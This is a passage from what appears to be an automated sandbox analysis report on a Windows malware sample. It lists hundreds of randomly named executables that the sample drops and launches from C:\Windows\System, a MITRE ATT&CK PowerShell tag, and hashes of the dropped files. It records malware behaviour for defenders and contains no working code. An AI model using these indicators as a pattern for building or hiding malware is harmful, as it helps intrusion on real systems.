  PID:8272
- C:\Windows\System\aHLfUyx.exe
  C:\Windows\System\aHLfUyx.exe
  2⤵
  PID:8288
- C:\Windows\System\mlhJkMV.exe
  C:\Windows\System\mlhJkMV.exe
  2⤵
  PID:8304
- C:\Windows\System\idLPOHE.exe
  C:\Windows\System\idLPOHE.exe
  2⤵
  PID:8320
- C:\Windows\System\LzFqnFX.exe
  C:\Windows\System\LzFqnFX.exe
  2⤵
  PID:8336
- C:\Windows\System\uWWzfXJ.exe
  C:\Windows\System\uWWzfXJ.exe
  2⤵
  PID:8352
- C:\Windows\System\XWFwnQG.exe
  C:\Windows\System\XWFwnQG.exe
  2⤵
  PID:8368
- C:\Windows\System\uaWEiib.exe
  C:\Windows\System\uaWEiib.exe
  2⤵
  PID:8384
- C:\Windows\System\HiFtXVx.exe
  C:\Windows\System\HiFtXVx.exe
  2⤵
  PID:8400
- C:\Windows\System\qzhcZuO.exe
  C:\Windows\System\qzhcZuO.exe
  2⤵
  PID:8416
- C:\Windows\System\rHXXlfY.exe
  C:\Windows\System\rHXXlfY.exe
  2⤵
  PID:8432
- C:\Windows\System\hLVaZMK.exe
  C:\Windows\System\hLVaZMK.exe
  2⤵
  PID:8448
- C:\Windows\System\VcqrgKi.exe
  C:\Windows\System\VcqrgKi.exe
  2⤵
  PID:8464
- C:\Windows\System\VtPcanj.exe
  C:\Windows\System\VtPcanj.exe
  2⤵
  PID:8480
- C:\Windows\System\OURAcyE.exe
  C:\Windows\System\OURAcyE.exe
  2⤵
  PID:8504
- C:\Windows\System\bmiawCB.exe
  C:\Windows\System\bmiawCB.exe
  2⤵
  PID:8520
- C:\Windows\System\vqOtjLt.exe
  C:\Windows\System\vqOtjLt.exe
  2⤵
  PID:8544
- C:\Windows\System\QYDXHtN.exe
  C:\Windows\System\QYDXHtN.exe
  2⤵
  PID:8568
- C:\Windows\System\AJXjRYX.exe
  C:\Windows\System\AJXjRYX.exe
  2⤵
  PID:8596
- C:\Windows\System\qvcHbbt.exe
  C:\Windows\System\qvcHbbt.exe
  2⤵
  PID:8612
- C:\Windows\System\RsKMBJy.exe
  C:\Windows\System\RsKMBJy.exe
  2⤵
  PID:8632
- C:\Windows\System\ZjBBQDJ.exe
  C:\Windows\System\ZjBBQDJ.exe
  2⤵
  PID:8652
- C:\Windows\System\eyrJlec.exe
  C:\Windows\System\eyrJlec.exe
  2⤵
  PID:8672
- C:\Windows\System\EpYcSWs.exe
  C:\Windows\System\EpYcSWs.exe
  2⤵
  PID:8696
- C:\Windows\System\xIuKIAL.exe
  C:\Windows\System\xIuKIAL.exe
  2⤵
  PID:8716
- C:\Windows\System\YWdXvGr.exe
  C:\Windows\System\YWdXvGr.exe
  2⤵
  PID:8828
- C:\Windows\System\fSDCAQV.exe
  C:\Windows\System\fSDCAQV.exe
  2⤵
  PID:8844
- C:\Windows\System\wXsHxZE.exe
  C:\Windows\System\wXsHxZE.exe
  2⤵
  PID:8864
- C:\Windows\System\wfdradz.exe
  C:\Windows\System\wfdradz.exe
  2⤵
  PID:8880
- C:\Windows\System\ZHJWPtQ.exe
  C:\Windows\System\ZHJWPtQ.exe
  2⤵
  PID:8896
- C:\Windows\System\OahxPQg.exe
  C:\Windows\System\OahxPQg.exe
  2⤵
  PID:8912
- C:\Windows\System\imfSZCF.exe
  C:\Windows\System\imfSZCF.exe
  2⤵
  PID:8932
- C:\Windows\System\HEPIrVM.exe
  C:\Windows\System\HEPIrVM.exe
  2⤵
  PID:8948
- C:\Windows\System\acoLwXb.exe
  C:\Windows\System\acoLwXb.exe
  2⤵
  PID:8964
- C:\Windows\System\EFbPcpA.exe
  C:\Windows\System\EFbPcpA.exe
  2⤵
  PID:8980
- C:\Windows\System\EnjBRev.exe
  C:\Windows\System\EnjBRev.exe
  2⤵
  PID:8996
- C:\Windows\System\sDVQNzB.exe
  C:\Windows\System\sDVQNzB.exe
  2⤵
  PID:9012
- C:\Windows\System\ZDqqeVj.exe
  C:\Windows\System\ZDqqeVj.exe
  2⤵
  PID:9028
- C:\Windows\System\JskswHL.exe
  C:\Windows\System\JskswHL.exe
  2⤵
  PID:9044
- C:\Windows\System\BYVqYtT.exe
  C:\Windows\System\BYVqYtT.exe
  2⤵
  PID:9060
- C:\Windows\System\EhuAkGp.exe
  C:\Windows\System\EhuAkGp.exe
  2⤵
  PID:9084
- C:\Windows\System\anllVZj.exe
  C:\Windows\System\anllVZj.exe
  2⤵
  PID:9108
- C:\Windows\System\qDQmnJs.exe
  C:\Windows\System\qDQmnJs.exe
  2⤵
  PID:9128
- C:\Windows\System\ljaalzS.exe
  C:\Windows\System\ljaalzS.exe
  2⤵
  PID:9144
- C:\Windows\System\ABcNCTS.exe
  C:\Windows\System\ABcNCTS.exe
  2⤵
  PID:9160
- C:\Windows\System\TiKpBuu.exe
  C:\Windows\System\TiKpBuu.exe
  2⤵
  PID:8200
- C:\Windows\System\HaubTwn.exe
  C:\Windows\System\HaubTwn.exe
  2⤵
  PID:8264
- C:\Windows\System\aanWfnF.exe
  C:\Windows\System\aanWfnF.exe
  2⤵
  PID:8328
- C:\Windows\System\trOVYuX.exe
  C:\Windows\System\trOVYuX.exe
  2⤵
  PID:8392
- C:\Windows\System\EkTyyna.exe
  C:\Windows\System\EkTyyna.exe
  2⤵
  PID:8456
- C:\Windows\System\gcEumFx.exe
  C:\Windows\System\gcEumFx.exe
  2⤵
  PID:8248
- C:\Windows\System\sqrposg.exe
  C:\Windows\System\sqrposg.exe
  2⤵
  PID:8584
- C:\Windows\System\dffiRHy.exe
  C:\Windows\System\dffiRHy.exe
  2⤵
  PID:8588
- C:\Windows\System\AmitOAs.exe
  C:\Windows\System\AmitOAs.exe
  2⤵
  PID:8628
- C:\Windows\System\CUyFZOM.exe
  C:\Windows\System\CUyFZOM.exe
  2⤵
  PID:8708
- C:\Windows\System\Bylnwhm.exe
  C:\Windows\System\Bylnwhm.exe
  2⤵
  PID:8312
- C:\Windows\System\DtBwpwK.exe
  C:\Windows\System\DtBwpwK.exe
  2⤵
  PID:8376
- C:\Windows\System\PoxaCNp.exe
  C:\Windows\System\PoxaCNp.exe
  2⤵
  PID:8472
- C:\Windows\System\kYutkZD.exe
  C:\Windows\System\kYutkZD.exe
  2⤵
  PID:8552
- C:\Windows\System\UeMCwsb.exe
  C:\Windows\System\UeMCwsb.exe
  2⤵
  PID:8608
- C:\Windows\System\dhjXBJo.exe
  C:\Windows\System\dhjXBJo.exe
  2⤵
  PID:8444
- C:\Windows\System\sARKtls.exe
  C:\Windows\System\sARKtls.exe
  2⤵
  PID:8756
- C:\Windows\System\jRxBwkC.exe
  C:\Windows\System\jRxBwkC.exe
  2⤵
  PID:8780
- C:\Windows\System\qaUYTEe.exe
  C:\Windows\System\qaUYTEe.exe
  2⤵
  PID:8800
- C:\Windows\System\pCIENiX.exe
  C:\Windows\System\pCIENiX.exe
  2⤵
  PID:8816
- C:\Windows\System\yNmdYoq.exe
  C:\Windows\System\yNmdYoq.exe
  2⤵
  PID:8836
- C:\Windows\System\LwrlNEk.exe
  C:\Windows\System\LwrlNEk.exe
  2⤵
  PID:8940
- C:\Windows\System\CMxMRqG.exe
  C:\Windows\System\CMxMRqG.exe
  2⤵
  PID:9004
- C:\Windows\System\aVfhNZe.exe
  C:\Windows\System\aVfhNZe.exe
  2⤵
  PID:9068
- C:\Windows\System\cYzJBpu.exe
  C:\Windows\System\cYzJBpu.exe
  2⤵
  PID:8928
- C:\Windows\System\sTkchZk.exe
  C:\Windows\System\sTkchZk.exe
  2⤵
  PID:9156
- C:\Windows\System\ICtEyWV.exe
  C:\Windows\System\ICtEyWV.exe
  2⤵
  PID:8960
- C:\Windows\System\HfYRZMi.exe
  C:\Windows\System\HfYRZMi.exe
  2⤵
  PID:9020
- C:\Windows\System\GrwhzjQ.exe
  C:\Windows\System\GrwhzjQ.exe
  2⤵
  PID:9092
- C:\Windows\System\HYLuwaW.exe
  C:\Windows\System\HYLuwaW.exe
  2⤵
  PID:9140
- C:\Windows\System\LWasDHy.exe
  C:\Windows\System\LWasDHy.exe
  2⤵
  PID:9180
- C:\Windows\System\mLqRoIf.exe
  C:\Windows\System\mLqRoIf.exe
  2⤵
  PID:9196
- C:\Windows\System\ptmypuB.exe
  C:\Windows\System\ptmypuB.exe
  2⤵
  PID:7024
- C:\Windows\System\lTiYDTl.exe
  C:\Windows\System\lTiYDTl.exe
  2⤵
  PID:4632
- C:\Windows\System\oCCbcsg.exe
  C:\Windows\System\oCCbcsg.exe
  2⤵
  PID:8364
- C:\Windows\System\KyaPLmc.exe
  C:\Windows\System\KyaPLmc.exe
  2⤵
  PID:8532
- C:\Windows\System\nSvlLOf.exe
  C:\Windows\System\nSvlLOf.exe
  2⤵
  PID:8668
- C:\Windows\System\yRjEFzO.exe
  C:\Windows\System\yRjEFzO.exe
  2⤵
  PID:8300
- C:\Windows\System\wuBbEPf.exe
  C:\Windows\System\wuBbEPf.exe
  2⤵
  PID:8428
- C:\Windows\System\UnoovYu.exe
  C:\Windows\System\UnoovYu.exe
  2⤵
  PID:8624
- C:\Windows\System\SXbjKWf.exe
  C:\Windows\System\SXbjKWf.exe
  2⤵
  PID:8280
- C:\Windows\System\ABEAkMQ.exe
  C:\Windows\System\ABEAkMQ.exe
  2⤵
  PID:8648
- C:\Windows\System\EFOAstM.exe
  C:\Windows\System\EFOAstM.exe
  2⤵
  PID:8604
- C:\Windows\System\rucQsHM.exe
  C:\Windows\System\rucQsHM.exe
  2⤵
  PID:8744
- C:\Windows\System\CknALxU.exe
  C:\Windows\System\CknALxU.exe
  2⤵
  PID:8768
- C:\Windows\System\BxRaKfC.exe
  C:\Windows\System\BxRaKfC.exe
  2⤵
  PID:8812
- C:\Windows\System\EmFGjDJ.exe
  C:\Windows\System\EmFGjDJ.exe
  2⤵
  PID:8796
- C:\Windows\System\wGgCOac.exe
  C:\Windows\System\wGgCOac.exe
  2⤵
  PID:8860
- C:\Windows\System\IRXixQz.exe
  C:\Windows\System\IRXixQz.exe
  2⤵
  PID:9040
- C:\Windows\System\HYBQIaE.exe
  C:\Windows\System\HYBQIaE.exe
  2⤵
  PID:8852
- C:\Windows\System\pYOtsUo.exe
  C:\Windows\System\pYOtsUo.exe
  2⤵
  PID:8924
- C:\Windows\System\TsCYUKH.exe
  C:\Windows\System\TsCYUKH.exe
  2⤵
  PID:9052
- C:\Windows\System\OktwpRP.exe
  C:\Windows\System\OktwpRP.exe
  2⤵
  PID:7296
- C:\Windows\System\tHcnLJX.exe
  C:\Windows\System\tHcnLJX.exe
  2⤵
  PID:9212
- C:\Windows\System\tLtGeaK.exe
  C:\Windows\System\tLtGeaK.exe
  2⤵
  PID:2616
- C:\Windows\System\dBGIFUB.exe
  C:\Windows\System\dBGIFUB.exe
  2⤵
  PID:8236
- C:\Windows\System\zcOQRjP.exe
  C:\Windows\System\zcOQRjP.exe
  2⤵
  PID:8660
- C:\Windows\System\aUJKzXb.exe
  C:\Windows\System\aUJKzXb.exe
  2⤵
  PID:8564
- C:\Windows\System\EjbNxBV.exe
  C:\Windows\System\EjbNxBV.exe
  2⤵
  PID:8808
- C:\Windows\System\iIWVJzM.exe
  C:\Windows\System\iIWVJzM.exe
  2⤵
  PID:8892
- C:\Windows\System\QWgmxPR.exe
  C:\Windows\System\QWgmxPR.exe
  2⤵
  PID:9208
- C:\Windows\System\FBkCKub.exe
  C:\Windows\System\FBkCKub.exe
  2⤵
  PID:7524
- C:\Windows\System\qYcSgNF.exe
  C:\Windows\System\qYcSgNF.exe
  2⤵
  PID:8360
- C:\Windows\System\IJthboS.exe
  C:\Windows\System\IJthboS.exe
  2⤵
  PID:8788
- C:\Windows\System\bgCBwfa.exe
  C:\Windows\System\bgCBwfa.exe
  2⤵
  PID:9120
- C:\Windows\System\vpkwUOB.exe
  C:\Windows\System\vpkwUOB.exe
  2⤵
  PID:9172
- C:\Windows\System\qbrIXIu.exe
  C:\Windows\System\qbrIXIu.exe
  2⤵
  PID:1556
- C:\Windows\System\htuHQdu.exe
  C:\Windows\System\htuHQdu.exe
  2⤵
  PID:8424
- C:\Windows\System\zAYjKHr.exe
  C:\Windows\System\zAYjKHr.exe
  2⤵
  PID:8408
- C:\Windows\System\GDqjGcD.exe
  C:\Windows\System\GDqjGcD.exe
  2⤵
  PID:8772
- C:\Windows\System\XtwCbBS.exe
  C:\Windows\System\XtwCbBS.exe
  2⤵
  PID:8972
- C:\Windows\System\OSmjFIv.exe
  C:\Windows\System\OSmjFIv.exe
  2⤵
  PID:9072
- C:\Windows\System\yxPOIrx.exe
  C:\Windows\System\yxPOIrx.exe
  2⤵
  PID:8992
- C:\Windows\System\LxISxTj.exe
  C:\Windows\System\LxISxTj.exe
  2⤵
  PID:8776
- C:\Windows\System\NJJmCsr.exe
  C:\Windows\System\NJJmCsr.exe
  2⤵
  PID:8740
- C:\Windows\System\QdkEBVt.exe
  C:\Windows\System\QdkEBVt.exe
  2⤵
  PID:8348
- C:\Windows\System\mGbbdxm.exe
  C:\Windows\System\mGbbdxm.exe
  2⤵
  PID:9232
- C:\Windows\System\NoJKBLm.exe
  C:\Windows\System\NoJKBLm.exe
  2⤵
  PID:9252
- C:\Windows\System\onOHiln.exe
  C:\Windows\System\onOHiln.exe
  2⤵
  PID:9272
- C:\Windows\System\oJJQhko.exe
  C:\Windows\System\oJJQhko.exe
  2⤵
  PID:9292
- C:\Windows\System\iXgjyig.exe
  C:\Windows\System\iXgjyig.exe
  2⤵
  PID:9316
- C:\Windows\System\mzJEjXn.exe
  C:\Windows\System\mzJEjXn.exe
  2⤵
  PID:9336
- C:\Windows\System\ndMEJVr.exe
  C:\Windows\System\ndMEJVr.exe
  2⤵
  PID:9360
- C:\Windows\System\hpungsl.exe
  C:\Windows\System\hpungsl.exe
  2⤵
  PID:9380
- C:\Windows\System\NHFMlNh.exe
  C:\Windows\System\NHFMlNh.exe
  2⤵
  PID:9416
- C:\Windows\System\sVKIhUD.exe
  C:\Windows\System\sVKIhUD.exe
  2⤵
  PID:9432
- C:\Windows\System\McLGFWZ.exe
  C:\Windows\System\McLGFWZ.exe
  2⤵
  PID:9448
- C:\Windows\System\ULwtPzi.exe
  C:\Windows\System\ULwtPzi.exe
  2⤵
  PID:9468
- C:\Windows\System\PTjzeWq.exe
  C:\Windows\System\PTjzeWq.exe
  2⤵
  PID:9488
- C:\Windows\System\IZSlsJo.exe
  C:\Windows\System\IZSlsJo.exe
  2⤵
  PID:9504
- C:\Windows\System\gnqCZWe.exe
  C:\Windows\System\gnqCZWe.exe
  2⤵
  PID:9540
- C:\Windows\System\QHEoJPP.exe
  C:\Windows\System\QHEoJPP.exe
  2⤵
  PID:9556
- C:\Windows\System\oybUWCv.exe
  C:\Windows\System\oybUWCv.exe
  2⤵
  PID:9572
- C:\Windows\System\zPgHlpX.exe
  C:\Windows\System\zPgHlpX.exe
  2⤵
  PID:9600
- C:\Windows\System\LlycLsA.exe
  C:\Windows\System\LlycLsA.exe
  2⤵
  PID:9616
- C:\Windows\System\hZhASoa.exe
  C:\Windows\System\hZhASoa.exe
  2⤵
  PID:9632
- C:\Windows\System\jkrnmwn.exe
  C:\Windows\System\jkrnmwn.exe
  2⤵
  PID:9648
- C:\Windows\System\CajBmtn.exe
  C:\Windows\System\CajBmtn.exe
  2⤵
  PID:9672
- C:\Windows\System\VlXKjGf.exe
  C:\Windows\System\VlXKjGf.exe
  2⤵
  PID:9700
- C:\Windows\System\FHFRVUH.exe
  C:\Windows\System\FHFRVUH.exe
  2⤵
  PID:9720
- C:\Windows\System\MoNELlC.exe
  C:\Windows\System\MoNELlC.exe
  2⤵
  PID:9736
- C:\Windows\System\QzRoDhL.exe
  C:\Windows\System\QzRoDhL.exe
  2⤵
  PID:9756
- C:\Windows\System\AduAOqK.exe
  C:\Windows\System\AduAOqK.exe
  2⤵
  PID:9772
- C:\Windows\System\iZzFpys.exe
  C:\Windows\System\iZzFpys.exe
  2⤵
  PID:9788
- C:\Windows\System\UBHDuMw.exe
  C:\Windows\System\UBHDuMw.exe
  2⤵
  PID:9808
- C:\Windows\System\kJcHwgW.exe
  C:\Windows\System\kJcHwgW.exe
  2⤵
  PID:9828
- C:\Windows\System\cDMbIUN.exe
  C:\Windows\System\cDMbIUN.exe
  2⤵
  PID:9844
- C:\Windows\System\pjMxDnJ.exe
  C:\Windows\System\pjMxDnJ.exe
  2⤵
  PID:9860
- C:\Windows\System\CLppkKn.exe
  C:\Windows\System\CLppkKn.exe
  2⤵
  PID:9876
- C:\Windows\System\rmelLbr.exe
  C:\Windows\System\rmelLbr.exe
  2⤵
  PID:9892
- C:\Windows\System\LKJtdXL.exe
  C:\Windows\System\LKJtdXL.exe
  2⤵
  PID:9908
- C:\Windows\System\WgoJXcv.exe
  C:\Windows\System\WgoJXcv.exe
  2⤵
  PID:9924
- C:\Windows\System\YSQFJaR.exe
  C:\Windows\System\YSQFJaR.exe
  2⤵
  PID:9940
- C:\Windows\System\DyBtKnu.exe
  C:\Windows\System\DyBtKnu.exe
  2⤵
  PID:9956
- C:\Windows\System\MZiSmme.exe
  C:\Windows\System\MZiSmme.exe
  2⤵
  PID:9972
- C:\Windows\System\gxLWccV.exe
  C:\Windows\System\gxLWccV.exe
  2⤵
  PID:9988
- C:\Windows\System\wwiRKpZ.exe
  C:\Windows\System\wwiRKpZ.exe
  2⤵
  PID:10004
- C:\Windows\System\GfBykpm.exe
  C:\Windows\System\GfBykpm.exe
  2⤵
  PID:10020
- C:\Windows\System\ZvDJoDr.exe
  C:\Windows\System\ZvDJoDr.exe
  2⤵
  PID:10036
- C:\Windows\System\xmQcijS.exe
  C:\Windows\System\xmQcijS.exe
  2⤵
  PID:10052
- C:\Windows\System\Wysybkz.exe
  C:\Windows\System\Wysybkz.exe
  2⤵
  PID:10068
- C:\Windows\System\NrRSOmK.exe
  C:\Windows\System\NrRSOmK.exe
  2⤵
  PID:10084
- C:\Windows\System\PIODtVS.exe
  C:\Windows\System\PIODtVS.exe
  2⤵
  PID:10100
- C:\Windows\System\AIfqVFi.exe
  C:\Windows\System\AIfqVFi.exe
  2⤵
  PID:10116
- C:\Windows\System\YyvdCAB.exe
  C:\Windows\System\YyvdCAB.exe
  2⤵
  PID:10132
- C:\Windows\System\nZmxzrW.exe
  C:\Windows\System\nZmxzrW.exe
  2⤵
  PID:10148
- C:\Windows\System\ORmQcBa.exe
  C:\Windows\System\ORmQcBa.exe
  2⤵
  PID:10168
- C:\Windows\System\mCCjpvH.exe
  C:\Windows\System\mCCjpvH.exe
  2⤵
  PID:10192
- C:\Windows\System\KMEwhbu.exe
  C:\Windows\System\KMEwhbu.exe
  2⤵
  PID:10208
- C:\Windows\System\yQtlKxc.exe
  C:\Windows\System\yQtlKxc.exe
  2⤵
  PID:9328
- C:\Windows\System\CjKRhMq.exe
  C:\Windows\System\CjKRhMq.exe
  2⤵
  PID:9192
- C:\Windows\System\BSfoETA.exe
  C:\Windows\System\BSfoETA.exe
  2⤵
  PID:9036
- C:\Windows\System\wwlhqtB.exe
  C:\Windows\System\wwlhqtB.exe
  2⤵
  PID:9372
- C:\Windows\System\NEivJTs.exe
  C:\Windows\System\NEivJTs.exe
  2⤵
  PID:2816
- C:\Windows\System\AUkrfYO.exe
  C:\Windows\System\AUkrfYO.exe
  2⤵
  PID:8688
- C:\Windows\System\xlopJKe.exe
  C:\Windows\System\xlopJKe.exe
  2⤵
  PID:9228
- C:\Windows\System\YCmKqam.exe
  C:\Windows\System\YCmKqam.exe
  2⤵
  PID:9268
- C:\Windows\System\zbKQmOI.exe
  C:\Windows\System\zbKQmOI.exe
  2⤵
  PID:9344
- C:\Windows\System\KvjJEgv.exe
  C:\Windows\System\KvjJEgv.exe
  2⤵
  PID:9396
- C:\Windows\System\UHRCfHj.exe
  C:\Windows\System\UHRCfHj.exe
  2⤵
  PID:9412
- C:\Windows\System\sxZZQrO.exe
  C:\Windows\System\sxZZQrO.exe
  2⤵
  PID:9456
- C:\Windows\System\quLHUEB.exe
  C:\Windows\System\quLHUEB.exe
  2⤵
  PID:9548
- C:\Windows\System\aZoJxIM.exe
  C:\Windows\System\aZoJxIM.exe
  2⤵
  PID:9584
- C:\Windows\System\tqxJCyW.exe
  C:\Windows\System\tqxJCyW.exe
  2⤵
  PID:9608
- C:\Windows\System\cxtACOI.exe
  C:\Windows\System\cxtACOI.exe
  2⤵
  PID:9660
- C:\Windows\System\aCVNTcB.exe
  C:\Windows\System\aCVNTcB.exe
  2⤵
  PID:9692
- C:\Windows\System\xLRHSpf.exe
  C:\Windows\System\xLRHSpf.exe
  2⤵
  PID:9744
- C:\Windows\System\TGthtxq.exe
  C:\Windows\System\TGthtxq.exe
  2⤵
  PID:9820
- C:\Windows\System\rybAvIW.exe
  C:\Windows\System\rybAvIW.exe
  2⤵
  PID:9732
- C:\Windows\System\RVSTYIO.exe
  C:\Windows\System\RVSTYIO.exe
  2⤵
  PID:9836
- C:\Windows\System\BYpJtte.exe
  C:\Windows\System\BYpJtte.exe
  2⤵
  PID:9900
- C:\Windows\System\hgxSCzZ.exe
  C:\Windows\System\hgxSCzZ.exe
  2⤵
  PID:9952
- C:\Windows\System\uFIoZYm.exe
  C:\Windows\System\uFIoZYm.exe
  2⤵
  PID:9984
- C:\Windows\System\SalQkDF.exe
  C:\Windows\System\SalQkDF.exe
  2⤵
  PID:10060
- C:\Windows\System\ATsbSKP.exe
  C:\Windows\System\ATsbSKP.exe
  2⤵
  PID:10128
- C:\Windows\System\JYubcLb.exe
  C:\Windows\System\JYubcLb.exe
  2⤵
  PID:10012
- C:\Windows\System\CKeDZsU.exe
  C:\Windows\System\CKeDZsU.exe
  2⤵
  PID:10096
- C:\Windows\System\IEKoyQo.exe
  C:\Windows\System\IEKoyQo.exe
  2⤵
  PID:10224
- C:\Windows\System\mYpwHbc.exe
  C:\Windows\System\mYpwHbc.exe
  2⤵
  PID:8752
- C:\Windows\System\HcYkQme.exe
  C:\Windows\System\HcYkQme.exe
  2⤵
  PID:9280
- C:\Windows\System\dFFYDfh.exe
  C:\Windows\System\dFFYDfh.exe
  2⤵
  PID:7548
- C:\Windows\System\TlsoiGT.exe
  C:\Windows\System\TlsoiGT.exe
  2⤵
  PID:10160
- C:\Windows\System\XWWphhx.exe
  C:\Windows\System\XWWphhx.exe
  2⤵
  PID:9404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\CmIcuaQ.exe

Filesize
3.1MB

MD5
0898990474f94f72f90c3a0e8c338169

SHA1
f7b6e4340f73704742c43e5ffaf0d063c637e3c4

SHA256
b4da7ed4c8d8bbbfb1f1261d59a89f45a3d799c485a956087eeccf4cbcb7ef38

SHA512
8ca3b39eaf8e8618856f387f0ec3391e8dc22dba21d78f792696b8924358ae6158ceff482211a121e2d3583c60a98d056a4aa8e81913da7d7ad70d8eab1325f4

Download Submit
C:\Windows\system\CtRIQRK.exe

Filesize
3.1MB

MD5
bdf01f1bc97a8af95a24ab0a52315b04

SHA1
3e6f20cdcbd62d3210e31c8234b0d2efcbea4ab5

SHA256
12f6e3a4442eb7671f38dacc47930e7ee5ab5a3cd79bce082d63852b4f583904

SHA512
9508c2d1107f3b04a6f1e4b17032a8c729d792a6e1833cb6769cb3ae835cb4da7f3fa9115035c02c08b647ba2ad2f428f4aeed4ebc432cc28f193f53aeeb0569

Download Submit
C:\Windows\system\DGApYQH.exe

Filesize
3.1MB

MD5
266fbd1694256525db38f348017f60e3

SHA1
1a465984979545e7618ac173838df6dc2457b7a2

SHA256
c47ba9942a20c59f5df66dac89e95db8d102d858dd33846bc85c0ec63c4c7ffb

SHA512
8c622c37267bf17f32eb7f1ea869acfac08e3dbbe0908735ef3338c10b3ad5c7ea82368545d67048ac4ba5867325efa7522a1f16ccbc12367275a07501342e03

Download Submit
C:\Windows\system\QxYWmdi.exe

Filesize
3.1MB

MD5
f708c97f1113bdee0cea2a15a30542aa

SHA1
fa306be7bbcd4589f50106df56d0ab31006f2360

SHA256
acc6509b47c583888ad307545a37953d77f6ae6f162e8088eba6281222e163f3

SHA512
5b4d078d57d25bef4d71bac79bdbb4e7a2aede62036acb72ea6b59c64579a39627637a0da39f79481f77b3f4a9165b057a11e7fcab250ad14b7e515cd6e017d3

Download Submit
C:\Windows\system\SIbmZVo.exe

Filesize
3.1MB

MD5
28dfba74184e779594e6664219b49883

SHA1
f305432d2c5af797395d8ba591b79457b3a955a2

SHA256
b2a967be09dab3765fedd213bb1c5d53864ee035fa6d35b6abb8873e9c2afbdb

SHA512
d7055e4f04cd54a56babad0273107d45acf4dd89c1916a0cc5d632aa99d84c96278cf22133f990a7fa9039beb339d68881ecbfbfc5620e0ef7452a700915de47

Download Submit
C:\Windows\system\SZThRaF.exe

Filesize
3.1MB

MD5
43a066bd342a65cc6d7ebf783576bd8d

SHA1
3c7f591e970d180f5f65c2e27f8407fc06f8ad5a

SHA256
540c437fdc8265e2dbb76a902e19f3fa49a5c02893bbd8dc68da170c5c73d1da

SHA512
2293e99dd6d3bac58b13ef7bfc762e43e47b1e34e6dbb8152da09b78e8f5fceefe01b42e7a3507d28b07746fbf31e2dc8eb735ecd253dbaddfea00aa3f178393

Download Submit
C:\Windows\system\TcHQKbZ.exe

Filesize
3.1MB

MD5
2fe09e687da70c4d7158908752b0e7f3

SHA1
d346da1b0a5b088bc94f9485d6bcd7e3c393af7f

SHA256
d26e961d3a89912aa7dfde8c4ab3018b0096b95c3504b76dbbb6f41ae3cb97c6

SHA512
c62d7326d2609ff83e455b6708eca9a03683d643cea289e367961305dbfc5ed5eb9039620bc412b9ed6fbd2c30067c685842b7c0bf2a59046b54b981522d9ca3

Download Submit
C:\Windows\system\TtFFnrI.exe

Filesize
3.1MB

MD5
ec825a2046da0a631657fd693bce11a0

SHA1
00cd67b285aba1052efe3ae6de6eec0a9a128695

SHA256
50b893379fbe487a19a3e6a376d22d1ebbacad03d19089a85b54140ea45ca05d

SHA512
23adf8df76f13708bb2d1d28b8cde182ae771c961e50fb3a53571bb88a684e36778143f1374af1f3d6dc929a995f48bbe18842e6c47a7920d66c217f14d041b8

Download Submit
C:\Windows\system\UdGSOXC.exe

Filesize
3.1MB

MD5
8d4435b6d58f41da759c9796c0935064

SHA1
5a56b4a595ede480d6832910e51302036ab354ad

SHA256
fb61edf08120eea25ac33e4c03f950eef58113de932697988d50ed98296184d5

SHA512
4f0c7ea9655a28fc5cec5a85f7636b93b10867deadd340ec581d5836e8867078363134392c36088723f3cba41745c0f4db4cd359b3f6664fc4127feb34017819

Download Submit
C:\Windows\system\VnKZQHY.exe

Filesize
3.1MB

MD5
5d9583309fd590aa6c3d21ae4b3a94e9

SHA1
69aa99064de8cd6688696a72933b97669a2376d4

SHA256
c48de91267f5202d39addfa3f06bdf375532ef1a17cdc5728d802a2aa19b98d4

SHA512
e9ba10ebc449a33a928694444b46b13aba6d008743d70730adfd99f7a72309b705cd9b639b88573405cdffa9a0e3a60370e07ba333deee54d1047f10feb00608

Download Submit
C:\Windows\system\WBDJRlL.exe

Filesize
3.1MB

MD5
40335367f05b6b876bfeae9c99ef1874

SHA1
11dd722f2423bd6c3118039363f10f4ecbff8835

SHA256
d12b83ca8df2df7aa364818bbb2ed5dde64b8abb803d0c4362be0c18510deffc

SHA512
0660d1a455817b3a8006b2a1e0725d84126a1169d4f8e1bd84b8103503596dfd61362be1e89220059c8632dc09117718c0df79296fbd6f4828f5d1d7515baca9

Download Submit
C:\Windows\system\WynHEgE.exe

Filesize
3.1MB

MD5
48186279ba9a9d3c7446da4f881d4c40

SHA1
299747e8a4eea0e671c47b3b493a20c9e6feadce

SHA256
feb4f645c13b1858c0a2c7f8fafb1473542b8108d060cf1800622acdf0288ade

SHA512
435fe6987e0a757dfc0bd91743605e0ff3ebc22c40779a6f966ef013d6f88411f08f3145a6e878c67796682af0d3113d1c7afad5b4586eca0ac239803f18dc09

Download Submit
C:\Windows\system\XnclxDt.exe

Filesize
3.1MB

MD5
1c46f7a926883e2a9350d9ce0fcb2684

SHA1
3ab1b4166b4fbccbb838cee0f798d9eb809cc5c4

SHA256
f054e7ef0633531d8006a08ebe74c7f58d250f889a9c5af4148674c15eb058b3

SHA512
58719487a722c0ec582a48eba48ff5422883f2e864bfb1177027bcaafa1e61bb1618c07ad91640a7254944a9b8ccc4478a5ca8a8ec77c4f52d0ca2e29ab9a0b2

Download Submit
C:\Windows\system\ZCzsRUj.exe

Filesize
3.1MB

MD5
289c65d953b3229a8e57733e9357bebc

SHA1
a2d2b62ca5788a64daa9c6e85ccfe2dca8eafc5b

SHA256
c512707bef9c3976c9a01a5921a007b4004ed6d4bf6338b16bcd5ee431bc6969

SHA512
73f4eb36f474aae9f3c78ff569fe56b1e22c071fde0006981f8b5b291142a03a75b1be6e002de224fced56e5f1cff2f5d7ffe9cdfd80976d566700536e23c56a

Download Submit
C:\Windows\system\eDHhqQA.exe

Filesize
3.1MB

MD5
32238bd0ece17ef4421b2737553bb06c

SHA1
50e22bcd8c63eab3ab67fcf8bcd763110f8d6fbc

SHA256
fa8578bd8b52845a1a63c913062a288efba11e84cab3a72a686f1128c0929b53

SHA512
7dea62a099a204bacfdae9b3a7a46a757cb31fec2b9dd1f063492eefe45cee94a755fad99478a3d5324078117f3da0658e9a50a82c7b0fa8daf1d10a68e85c47

Download Submit
C:\Windows\system\gECNijE.exe

Filesize
3.1MB

MD5
d52381403304cbdeabb0d13ea4893e5a

SHA1
d13f0422a0ff20c3227b45c3e3b67cb4855009a4

